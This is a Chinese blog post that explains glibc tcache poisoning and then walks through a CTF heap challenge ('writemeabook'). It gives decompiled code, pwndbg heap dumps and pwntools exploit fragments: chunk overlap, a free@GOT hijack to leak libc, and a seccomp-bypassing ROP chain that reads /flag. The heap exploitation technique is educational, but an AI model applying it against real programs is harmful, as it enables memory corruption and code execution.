banner
raye~

Raye's Journey

且趁闲身未老,尽放我、些子疏狂。
medium
tg_channel
twitter
github
email
nintendo switch
playstation
steam_profiles

一文帶你理解tcache快取投毒

文章首發於 https://xz.aliyun.com/t/12600

tcache 結構分析#

Tcache(Thread Cache)是 glibc(GNU C Library)從 2.26 版本開始引入的一個特性,旨在提升內存分配性能。在 tcache 中,每個線程都有自己的緩存,可以減少線程間的互斥和鎖的競爭。

默認情況下,大小小於等於 1032(0x408)字節的 chunk 會被放入 tcache 中。

分配釋放:當程序進行 malloc 操作時,會優先檢查 tcache 是否有可用的 chunk,如果有,就直接返回。同樣,當進行 free 操作時,如果 chunk 的大小符合要求,並且對應的 tcache bin 還未滿(默認每個 bin 可以存放 7 個 chunk),就會把 chunk 放入 tcache。否則,會按照原來的流程,放入 unsorted bin 或者其他的 bin 中。

數據結構:Tcache 的數據結構主要是一個數組,每個元素都是一個單向鏈表的頭節點。數組的下標對應了 chunk 的大小,即第 i 個元素對應了大小為 (i+1)*16 的 chunk 的鏈表。鏈表中的每個節點都是一個空閒的 chunk,節點的第一個字段存放了指向下一個節點的指針。

tcache 在內存中的數據結構示意圖如下:

+----+    +------+     +------+
| 0  | -> | chunk| --> | chunk| --> NULL
+----+    +------+     +------+
| 1  | -> NULL
+----+ 
| 2  | -> | chunk| --> NULL
+----+    +------+
| .. | 
+----+
| n  | -> | chunk| --> | chunk| --> | chunk| --> NULL
+----+    +------+     +------+     +------+

了解 tcache poisoning#

我們先來看看緩存投毒的基本攻擊思路,核心代碼如下:

size_t stack_var; // 目標投毒的地址

intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);

b[0] = (intptr_t)&stack_var;  // tcache poisoning !

intptr_t *c = malloc(128);

assert((long)&stack_var == (long)c); // 此時我們已經獲得了針對棧地址 &stack_var 讀寫控制權

然後我們來分過程看每一個環節的堆內存佈局變化

  1. 連續申請兩個 chunk,再釋放,此時釋放的 chunk 進入到 tcache 管理起來
intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);

查看此時的堆內存佈局

tcache 鏈表有點像一個棧,遵循 LIFO 的原則

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x5555555592a0 // 後面解釋tcache_entry結構體
  1. 根據上文提到的內存佈局,相同大小的tcache 通過鏈表維護起來。修改指針指向(後面會分析),使得 tcache 鏈表的指針指向棧上的地址
size_t stack_var; // addr: 0x7fffffffe508
b[0] = (intptr_t)&stack_var; 

此時我們觀察到 tcache_entry[7] 的指向

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x555555559320(freed) )
  1. 申請一次 tcache 分配,此時獲得是之前釋放的 b chunk

此時的 tcache 已經被

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](1): 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )
  1. 第二次申請 tcache 分配,本來這裡是獲得之前的 a chunk 的,但是由於 tcache 的指向已經發生了變化,導致我們可以獲得一次針對棧上的地址進行讀寫的機會

DraggedImage

若要細究其原理,得從 glibc 中對應的源碼入手:

從源碼層面分析 tcache#

tache 的數據結構如下:

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

tcache_entry 結構體本質上是一個單鏈表指針,tcache_perthread_struct 存儲了所有的 tcache 入口,通過 counts 記錄每個 tcache 鏈的個數

tcache poisoning 漏洞涉及到兩個函數:

  • 分配函數 tcache_get
    • 找到對應的 tcache_entry 表項
    • 取出鏈表的頭節點返回
  • 回收函數 tcache_put
    • 將 chunk 強制轉為 tcache_entry結構
    • 頭插法將其插入到對應的 tcache_entry 表項中
      本質上是用鏈表實現了一個棧結構,FIFO
static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]); // 對應的tcache數量減少1
  return (void *) e;
}
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx]; // 通過頭插法插入新的chunk
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

重點是這行代碼:

tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

chunk2mem 的宏是這樣的,即將 chunk 指針往後移動指向用戶數據區域

/* Convert a chunk address to a user mem pointer without correcting
   the tag.  */
#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))

而關鍵在於, 代碼中直接強制轉化,將其轉為 tcache_entry  結構,這代表著,用戶數據的前 8 個字節(64 位)存儲了 tcache 的 next 指針

這就意味著我們可以直接修改 next 指針,從而獲得任意地址寫的機會,因此 tcache 的利用相比 fastbin 實際上更加簡單了

例題分析#

題目源碼和 exp 可以在這裡找到 https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook

main 函數#

main 函數主要功能:

  1. 輸入作者簽名
  2. 調用secure_library 設置 seccomp
  3. write_book程序主要功能
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts("Welcome to the library of hopes and dreams!");
  puts("\nWe heard about your journey...");
  puts("and we want you to share about your experiences!");
  puts("\nWhat would you like your author signature to be?");
  printf("> ");
  LODWORD(author_signature) = ' yb';
  __isoc99_scanf("%12s", (char *)&author_signature + 3);
  puts("\nGreat! We would like you to write no more than 10 books :)");
  puts("Please feel at home.");
  secure_library();
  write_books();
  return puts("Goodbye!");
}

write_books#

write_books 函數,功能總結為:

  • 1337 能泄露出一次給定分配塊的地址
  • 1 新增一本書
  • 2 編輯一本書
  • 3 刪除一本書
unsigned __int64 write_books()
{
  int choice; // [rsp+0h] [rbp-10h] BYREF
  int fav_num; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      __isoc99_scanf("%d", &choice);
      getchar();
      if ( choice != 1337 )
        break;
      if ( !secret_msg )
      {
        printf("What is your favourite number? ");
        __isoc99_scanf("%d", &fav_num);
        if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )
          printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);
        secret_msg = 1;
      }
LABEL_19:
      puts("Invalid choice.");
    }
    if ( choice > 1337 )
      goto LABEL_19;
    if ( choice == 4 )
      return v3 - __readfsqword(0x28u);
    if ( choice > 4 )
      goto LABEL_19;
    switch ( choice )
    {
      case 3:
        throw_book();
        break;
      case 1:
        write_book();
        break;
      case 2:
        rewrite_book();
        break;
      default:
        goto LABEL_19;
    }
  }
}

write_book#

向書架中插入一本書,並且在書的尾部,寫上作者簽名和一個 magic number

可以看到一個書 chunk 的大小為輸入的內容 + 0x10,並且會存儲在 book 結構體中的 size 字段

unsigned __int64 write_book()
{
  int idx2; // ebx
  _QWORD *v1; // rcx
  __int64 v2; // rdx
  int idx; // [rsp+4h] [rbp-4Ch] BYREF
  size_t size; // [rsp+8h] [rbp-48h]
  char buf[32]; // [rsp+10h] [rbp-40h] BYREF
  char v7; // [rsp+30h] [rbp-20h]
  unsigned __int64 v8; // [rsp+38h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to insert your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )
  {
    puts("Invaid slot!");
  }
  else
  {
    --idx; // 書架的編號
    memset(buf, 0, sizeof(buf));
    v7 = 0;
    puts("Write me a book no more than 32 characters long!");
    size = read(0, buf, 0x20uLL) + 0x10; // 讀入0x20個字節的內容,還要加上尾部填充的0x10字節
    idx2 = idx;
    slot[2 * idx2] = malloc(size);
    memcpy(slot[2 * idx], buf, size - 0x10);
    v1 = (char *)slot[2 * idx] + size - 0x10; // 指向用戶數據的尾部
    v2 = qword_4040D8;
    *v1 = *(_QWORD *)author_signature; // 寫入作者簽名和一個magic number
    v1[1] = v2;
    books[idx].size = size; // 這裡存在問題,後續通過 books[idx].size 獲取大小的時候要減掉0x10
    puts("Your book has been published!\n");
  }
  return v8 - __readfsqword(0x28u);
}

rewrite_book 漏洞點#

編輯一本書,但是注意到這裡能夠輸入的內容為 books[idx].size , 而這就意味著我們可以多輸入 0x10 的內容(oob,即 out-of-bounds)來實現 chunk overlap(因為上文分析道用戶數據的長度事實上只有 books[idx].size - 0x10

unsigned __int64 rewrite_book()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  int idx; // [rsp+Ch] [rbp-14h] BYREF
  ssize_t v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to rewrite your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )
  {
    --idx;
    puts("Write me the new contents of your book that is no longer than what it was before.");
    v4 = read(0, slot[2 * idx], books[idx].size); // 從標準輸入讀取books[idx].size個字節到slot[2*idx]中
    v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);
    v1 = qword_4040D8;
    *v0 = author_signature;
    v0[1] = v1;
    puts("Your book has been rewritten!\n");
  }
  else
  {
    puts("Invaid slot!");
  }
  return v5 - __readfsqword(0x28u);
}

throw_book#

刪除一本書,調用 free 函數

unsigned __int64 throw_book()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to throw your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )
  {
    free(slot[2 * --v1]);
    slot[2 * v1] = 0LL;
    puts("Your book has been thrown!\n");
  }
  else
  {
    puts("Invaid slot!");
  }
  return v2 - __readfsqword(0x28u);
}

解題思路分析#

題目存在很明顯的漏洞點,即利用 oob 可以實現 overlap

利用 tcache poisoning#

來計算下我們要怎麼做到 tcache poisioning

  1. 首先必須要兩個 tcache,參照前面的示例(需要有一個 tcache 來修改指針指向)
  2. 其次,我們不能直接改 chunk 指針(前面的示例是在源碼呢所以可以直接改),所以還需要一個快來通過 overlap 來修改指針
  3. 最後,為了達到 overlap 的目的,前面還需要一個塊,通過 oob 溢出來實現 overlap

malloc chunk#

連續申請 4 個 chunk,4 個 chunk 的目的分別為:

  1. chunk1 泄露 heap base addr + oob 覆蓋 chunk2
  2. chunk2 修改 chunk3 的 next 指針,實現 tcache poisoning
  3. chunk3 透過 next 指針獲得一段可寫的內存
  4. chunk4 用作 0x40 tcache 的填充

DraggedImage-1

chunk1 oob to overlap#

  1. 修改 chunk1,oob 修改 chunk2 的大小
  2. 釋放 chunk4,填充到 0x40 tcache
  3. chunk2 的大小被修改為 0x40,和 chunk3 實現 overlap
  4. 修改 chunk2 的內容,覆蓋 chunk3 的 next 指針

DraggedImage-2

泄漏 libc base#

books 結構體的地址是固定的,地址為 0x4040e0 ,每個 book 結構體前 0x8 個字節存儲這本書的 size ,另外 0x8 字節存儲這本書在 chunk 地址

DraggedImage-3

當我們獲得任意地址寫的時候,就可以針對 0x4040e0 這個堆塊去寫入內容,再利用 rewrite_book 來實現劫持 got 表泄露 libc base addr

我們寫入的內容為:

    edit(1, pwn.flat([
            # 1==
            0xff, # sz
            exe.sym.stdout, # target
            # 2==
            0x8, # sz
            exe.got.free, # target
            # 3==
            0x8, # sz
            exe.sym.secret_msg, # target
            # 4==
            0xff, # sz
            exe.sym.books # target
        ] + [0] * 0x60, filler = b"\x00"))

觀察內存佈局:

pwndbg> x/40gx 0x4040e0
0x4040e0 <books>:       0x00000000000000ff      0x00000000004040a0
0x4040f0 <books+16>:    0x0000000000000008      0x0000000000404018
0x404100 <books+32>:    0x0000000000000008      0x00000000004040c0
0x404110 <books+48>:    0x00000000000000ff      0x00000000004040e0
0x404120 <books+64>:    0x0000000000000000      0x0000000000000000
0x404130 <books+80>:    0x0000000000000000      0x0000000000000000
0x404140 <books+96>:    0x0000000000000000      0x0000000000000000
0x404150 <books+112>:   0x0000000000000000      0x0000000000000000
0x404160 <books+128>:   0x0000000000000000      0x0000000000000000
0x404170 <books+144>:   0x0000000000000000      0x0000000000000000

此時我們就可以理解為

  • 第一本書的內存地址為 0x4040a0(實際上這個為 stdout 的 got 表) size 為 0xff
  • 第二本書的內存地址為 0x404018(實際上這個為 free 的 got 表) size 為 0xff
  • 第三本書的內存地址為 0x4040c0 (實際上為 secret_msg 的地址),size 為 0x8
  • 第四本書的內存地址為 0x4040e0 (實際上我 sym.books 的地址,方便我們二次寫入,size 為 0xff

於是可以劫持 free 的 got 表來實現打印 stdout@got 表項,再通過確定的偏移泄露出 libc base addr

    # free@got => puts
    edit(2, b"".join([
            pwn.p64(exe.sym.puts)
        ]))

DraggedImage-4

ROP 繞過 seccomp#

程序有 seccomp 保護,只允許 readwriteopenexit

於是我們需要通過向棧上寫入 ROP 的方式來讀 flag,首先計算棧幀

泄露環境變量地址來計算棧幀(注意第 4 本書我們之前設置了指向自身,因此可以反復編輯)

    # leak stack (environ)
    edit(4, pwn.flat([
            # 1==
            0xff, # sz
            libc.sym.environ # target
        ], filler = b"\x00"))

棧幀地址:也就是調用這個函數返回的 ret 地址

DraggedImage-5

獲得棧幀地址後,使用 pwntools 自帶的 rop 模塊來實現

rop = pwn.ROP(libc, base=stackframe_rewrite)

# setup the write to the rewrite stackframe
edit(4, pwn.flat([
        # 1==
        0xff, # sz
        stackframe_rewrite # target
    ], filler = b"\x00"))

# ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
rop.call(rop.find_gadget(["syscall", "ret"]))

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
rop.call(rop.find_gadget(["syscall", "ret"]))
rop.exit(0x1337)
rop.raw(b"/flag\x00")

EXP 調試#

由於堆內存佈局的原因,地址可能不一樣,這裡記錄某次調試過程:

分配 4 個 chunk#

Book 的結構如下:

DraggedImage-6

4 個 chunk 的佈局

DraggedImage-7

oob#

    # chunk2 => sz extended
    edit(1, b"K"*0x20)

此時的 chunk2 大小已經被修改了

DraggedImage-8

tcache poisoning#

此時 tcache3 的 next 指針已經被修改了

DraggedImage-9

任意地址寫#

利用 tcache poisioning 修改 books 的結構,佈局如下,至此 tcache poisoning 的利用就完成了

DraggedImage-10

參考#

how2heap/tcache_poisoning.c at master · shellphish/how2heap · GitHub

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。